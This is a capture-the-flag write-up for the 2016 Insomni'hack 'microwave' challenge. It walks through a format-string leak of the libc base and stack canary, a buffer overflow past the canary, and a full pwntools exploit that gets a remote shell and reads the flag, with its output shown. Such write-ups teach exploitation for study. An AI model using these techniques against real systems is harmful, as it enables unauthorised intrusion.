I participated to the 2016 Insomni'hack CTF with my team Fourchette Bombe. It was a really cool CTF with lots of cool challenges. We finished on 8th place this year. So here is my writeup for one of the pwnable challenges I solved. We are given a x86_64 ELF and the libc, so as usual we'll check the binary protections first with checksec:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

WOW, we can see that the binary is seriously protected with full RELRO (so no GOT writing), NX enabled so no stack execution (I hope so we are in 2016). PIE is enabled which means no static addresses at all in the binary, this can really complicate exploitations. And we also have stack canary and fortify.

This would be fun to exploit with all these protections activated. But let's see what the binary does:

kali >> ./microwave_61f50dba931bb10ab3089215b2e188f4
 --------------------------------------------------------
 |     Welcome to the next generation of MicroWaves!    |
 |                         ***                          |
 | This stylish Microwave with Grill function, includes |
 |      a function that tweets your favourite food!     |
 |                         ***                          |
 --------------------------------------------------------
           ----------------------------------
           |  1. Connect to Twitter account |
           |  2. Edit your tweet            |
           |  3. Grill & Tweet your food    |
           |  q. Exit                       |
           ----------------------------------

           [MicroWave]:

It prompts us with a 3 choice menu. Exploring the binary further we understand that the connect to twitter account menu option is relay interesting. When we try to connect to a twitter account it will ask us for a username and a password. Trying different things we discover that the function is vulnerable to format string.

   [MicroWave]: 1

   Log in on Twitter:
   username: %p-%p-%p-%p-%p-%p-%p-%p-%p-%p
   password:

Checking 0xa-0x7fe81c839e50-0x7fe81cf07700-0x7fe81cd2eac0-(nil)-0x3941ba514179c200-0x7fe81cb04710-0x7fe81cb04718-0x7fe81e52a010-0x7fe81cd2cc80
Twitter account
...

Here is the function that handles this menu option:

__int64 __fastcall print_tweeter_account(__int64 username)
{
  size_t v1; // rbx@1
  char *v2; // rbx@4
  size_t v3; // rax@4
  __int64 i; // rdx@4
  __int64 cookie; // [sp+8h] [bp-20h]@1

  v1 = 1LL;
  cookie = *MK_FP(__FS__, 40LL);
  __printf_chk(1LL, "\nChecking ");
  __printf_chk(1LL, username);                  // <== format string
  puts("Twitter account");
  fflush(0LL);
  while ( v1 < strlen((username + 40)) )
  {
    ++v1;
    putchar(46);
    fflush(0LL);
    usleep(100000u);
  }
  putchar(10);
  v2 = not_the_flag_string;
  v3 = strlen(not_the_flag_string);
  for ( i = 0LL; ; ++i )
  {
    if ( i == v3 )
    {
      *(username + 60) = 1;
      return *MK_FP(__FS__, 40LL) ^ cookie;
    }
    if ( *(username + i + 40) != v2[i] )
      break;
  }
  *(username + 60) = 0;
  return *MK_FP(__FS__, 40LL) ^ cookie;
}

So with the format string we'll defeat the PIE protection and also ASLR, because it allows us to leak addresses from the stack. Format string vulnerabilities also allow us to write to memory see babyecho writeup but for this challenge we'll only use it as a leak.

Inspecting further the binary code we see a second vulnerability (buffer overflow) which is triggered when we edit our tweet. But we need to authenticate before using this option otherwise we are prompted with First: please connect to your Twitter account! message. The password is hardcoded in the binary n07_7h3_fl46. So we're going to connect with a dummy twitter account and give the hardcoded password to trigger the BOF.

__int64 edit_tweet()
{
  __int64 tweet_buff; // [sp+0h] [bp-418h]@1
  __int64 cookie; // [sp+408h] [bp-10h]@1

  cookie = *MK_FP(__FS__, 40LL);
  __printf_chk(1LL, "\n           #> ");
  fflush(0LL);
  read(0, &tweet_buff, 2048uLL);    // <== buffer overflow
  puts("\n           Done.");
  return *MK_FP(__FS__, 40LL) ^ cookie;
}

As we can see above, the function reads 2048 bytes from STDIN into a 1032 bytes buffer. But we have a problem because after our buffer we have the stack cookie. Which means that when overflowing the buffer we'll overwrite the stack cookie and trigger a stack smashing detected error which kills out binary.

Remember that we have a format string vulnerability which allows us to leak from the stack. So we're going to use it to leak the cookie and be able to use the overflow to control RIP (x64 remember ;).

Let's recap the plan for the exploit:

1. Leak a libc address from the stack and calculate the libc base address
2. Leak the stack cookie
3. Trigger the buffer overflow and get RIP control
4. Do some rop magic

Leaking the canary and a libc address is easy:

           Log in on Twitter:
       username: %p-%p-%p-%p-%p-%p
       password:

Checking 0xa-0x7fe81c839e50-0x7fe81cf07700-0x7fe81cd2eac0-(nil)-0x3941ba514179c200
#                                                               ------------------
#                                                                   stack cookie
Twitter account
...

The cookie is the 6th element on the stack, and for the libc address I took the 2nd element on the stack. You can do the leak only once and get the canary and libc address into an array. But when I wrote the exploited I didn't do optimisations.

And here is the final exploit:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

r = remote("microwave.insomni.hack", 1337)
# r = process("./microwave_61f50dba931bb10ab3089215b2e188f4", env={"LD_PRELOAD": "./libc.so.6"})
# raw_input("Attach debugger to %s\n" % r.proc.pid)

#
# leak libc address
#
print r.readuntil("[MicroWave]: ")
r.sendline("1")
print r.readuntil("username: ")
r.sendline("%p-%p")
print r.readuntil("password: ")
r.sendline("%p-%p")
buff = r.readuntil("[MicroWave]: ")

libc_leak = int(buff[14:14+14], 16)
log.info("Libc leak: %#x" % libc_leak)
log.info("Libc base: %#x", libc_leak-0xeb870)

libc_base = libc_leak-0xeb870

#
# leak stack cookie
#
r.sendline("1")
print r.readuntil("username: ")
r.sendline("%p-%p-%p-%p-%p-%p")
print r.readuntil("password: ")
r.sendline("%p-%p-%p-%p-%p-%p")
buff = r.readuntil("[MicroWave]: ")
print buff

cookie = int(buff[65:65+18], 16)
log.info("Stack cookie: %#x" % cookie)


#
# Buffer overflow with stack cookie
# 1032 + canary + 8 + eip
#
r.sendline("1")
print r.readuntil("username: ")
r.sendline("/bin/sh")
print r.readuntil("password: ")
r.sendline("n07_7h3_fl46")
print r.readuntil("[MicroWave]: ")
r.sendline("2")
print r.readuntil("#> ")

one_rop = libc_base+0x4652C

payload = "A"*1032
payload += p64(cookie)
payload += "B"*8
payload += p64(one_rop)

r.sendline(payload)
r.sendline("ls -l")
r.interactive()

And when we run the exploit:

kali >> python solve.py
[+] Opening connection to microwave.insomni.hack on port 1337: Done

 --------------------------------------------------------
 |     Welcome to the next generation of MicroWaves!    |
 |                         ***                          |
 | This stylish Microwave with Grill function, includes |
 |      a function that tweets your favourite food!     |
 |                         ***                          |
 --------------------------------------------------------
           ----------------------------------
           |  1. Connect to Twitter account |
           |  2. Edit your tweet            |
           |  3. Grill & Tweet your food    |
           |  q. Exit                       |
           ----------------------------------

           [MicroWave]:

           Log in on Twitter:
           username:
           password:
[*] Libc leak: 0x7fd05c0bc870
[*] Libc base: 0x7fd05bfd1000

           Log in on Twitter:
           username:
           password:

Checking 0xa-0x7fd05c0bc870-0x7fd05c5ae740-0x5648d58fcac0-(nil)-0xda4bdec8201b600
Twitter account
.................
           ----------------------------------
           |  1. Connect to Twitter account |
           |  2. Edit your tweet            |
           |  3. Grill & Tweet your food    |
           |  q. Exit                       |
           ----------------------------------

           [MicroWave]:
[*] Stack cookie: 0xda4bdec8201b600

           Log in on Twitter:
           username:
           password:

Checking /bin/sh
Twitter account
............
           ----------------------------------
           |  1. Connect to Twitter account |
           |  2. Edit your tweet            |
           |  3. Grill & Tweet your food    |
           |  q. Exit                       |
           ----------------------------------

           [MicroWave]:

           #>
[*] Switching to interactive mode

           Done.
total 28
-rw-r--r-- 1 root      microwave    39 Mar 15 11:57 flag
-rwxr-xr-x 1 microwave microwave 18440 Mar 15 11:32 microwave
-rwxr-xr-x 1 root      root         54 Mar 15 17:56 wrapper.sh
$ cat flag
Flag: INS{L3ts g3t th1s party start3d}


Comments

comments powered by Disqus